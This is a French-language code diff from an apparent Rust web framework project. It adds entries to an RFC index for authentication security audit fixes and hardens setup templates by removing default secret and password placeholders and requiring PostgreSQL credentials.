312 +|---|---|---|
313 +| Généralité | 5 | Tous les callers `authenticate_user` ; Gitrust n’a plus de bypass. |
314 +| Stabilité API | 4 | Signature identique ; breaking comportemental service (voulu, HTTP inchangé). |
315 +| Performance | 5 | Même `get_bool_with_fallback` qu’avant, juste déplacé ; pas de bcrypt extra. |
316 +| Sécurité | 5 | Ferme le trou SSR/service ; fail-closed ; `verify_credentials` reste utilisable. |
317 +| Complexité d'implémentation | 5 | Déplacer ~25 lignes + tests ; seed admin intact. |
318 +| Charge de maintenance | 5 | Une politique, un endroit ; plus de drift handler vs service. |
319 +| Documentation | 4 | RFC + CHANGELOG + rustdoc + contrat E-2 rate-limit. |
320 +| **Total** | **33/35** | (≥ 25 pour Accepted) |
M docs/rfcs/README.md
+10 -0
@@ -87,6 +87,16 @@ Score minimum **25/35** pour passer en `Accepted`. Voir grille détaillée dans
87 87 | 0026-0028 | _réservés_ pour travaux framework en cours (cf. backlog interne) | — | — | — |
88 88 | [0029](0029-fediverse-remote-resource-shares.md) | Fediverse — `RemoteResourceShareService` (partages cross-instance de ressources génériques) | **Accepted** (33/35, livré + 11 tests E2E verts) | EBO (origine gitrust) | 2026-05-15 |
89 89 | [0030](0030-fediverse-remote-personal-access-tokens.md) | Fediverse — `RemotePersonalAccessTokenService` (PAT pour identités remote) | **Accepted** (34/35, livré + 20 tests E2E verts) | EBO (origine gitrust) | 2026-05-15 |
90 +| [0031](0031-auth-service-optional-fallback.md) | Auth — fallback `AuthConfig::from_env()` sur la branche optional de `AuthService` | **Accepted** (implémenté 2026-05-16) | EBO (gitrust) | 2026-05-16 |
91 +| [0032](0032-fediverse-event-observer-delete-actor.md) | Fediverse — `on_delete_actor` sur `FediverseEventObserver` | **Draft** | EBO (gitrust) | 2026-05-17 |
92 +| [0033](0033-fediverse-delete-actor-hooks-unification.md) | Fediverse — unifier `apply_delete_actor*` derrière `DeleteActorHooks` | **Implemented** | EBO | 2026-05-17 |
93 +| [0034](0034-edition-2024-fmt-cleanup.md) | Workspace — cleanup rustfmt après migration édition 2024 | **Draft** | EBO (gitrust) | 2026-05-18 |
94 +| [0035](0035-oauth-pkce-code-verifier.md) | OAuth — envoyer `code_verifier` PKCE à l'échange (GitHub & Discord) | **Implemented** (2026-06-18) | PasterMan | 2026-06-18 |
95 +| [0036](0036-username-charset-validation.md) | Auth — newtype `Username` (charset GitHub-like, audit M-1) | **Draft** | EBO (origine audit Gitrust / Rustwarden 1.0.1) | 2026-09-18 |
96 +| [0037](0037-totp-last-used-step.md) | Auth — persister `last_used_step` TOTP (anti-rejeu multi-instance, audit M-7) | **Draft** | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 |
97 +| [0038](0038-email-change-revalidation.md) | Auth — revalidation e-mail à `UserService::update_profile` | **Draft** | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 |
98 +| [0039](0039-security-headers-config.md) | HTTP — `SecurityHeadersConfig` (CSP / COOP / CORP additifs) | **Draft** | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 |
99 +| [0040](0040-authenticate-user-email-verified.md) | Auth — `authenticate_user` honore `validation_email_required` | **Draft** | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 |
90 100
91 101 À mesure que les RFCs sont créées, elles doivent apparaître dans cette table avec leur statut courant.
92 102
M tools/rustwarden-cli/README.md
+3 -1
@@ -149,7 +149,9 @@ Apres la copie des crates et des ressources, le wizard effectue automatiquement
149 149 ```bash
150 150 cd mon-app
151 151
152 -# 1. Demarrer PostgreSQL
152 +# 1. PostgreSQL n'ecoute que 127.0.0.1:5432. Copier env.sample vers .env
153 +# et definir POSTGRES_PASSWORD (obligatoire, pas de mot de passe par defaut).
154 +cp database/env.sample database/.env
153 155 cd database && docker compose up -d && cd ..
154 156
155 157 # 2. Lancer l'application
M tools/rustwarden-cli/src/templates.rs
+4 -2
@@ -608,7 +608,8 @@ SERVER_PORT=3000
608 608 RUST_LOG=debug
609 609
610 610 # --- JWT ---
611 -JWT_SECRET=REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE
611 +# Required. Generate a unique secret, e.g.: openssl rand -hex 32
612 +# JWT_SECRET=
612 613 JWT_EXPIRATION_MINUTES=15
613 614 JWT_ISSUER=mon-app
614 615 REFRESH_TOKEN_EXPIRATION_DAYS=7
@@ -631,7 +632,8 @@ COOKIE_SAME_SITE=Lax
631 632 # --- Admin initial ---
632 633 ADMIN_USERNAME=admin
633 634 ADMIN_EMAIL=admin@example.com
634 -ADMIN_PASSWORD=REMPLACER_PAR_UN_MOT_DE_PASSE_FORT
635 +# ADMIN_PASSWORD — requis pour creer l'admin au premier boot ; omettre pour ignorer.
636 +# Ne pas copier un placeholder.
635 637
636 638 # --- Email SMTP ---
637 639 SMTP_HOST=smtp.example.com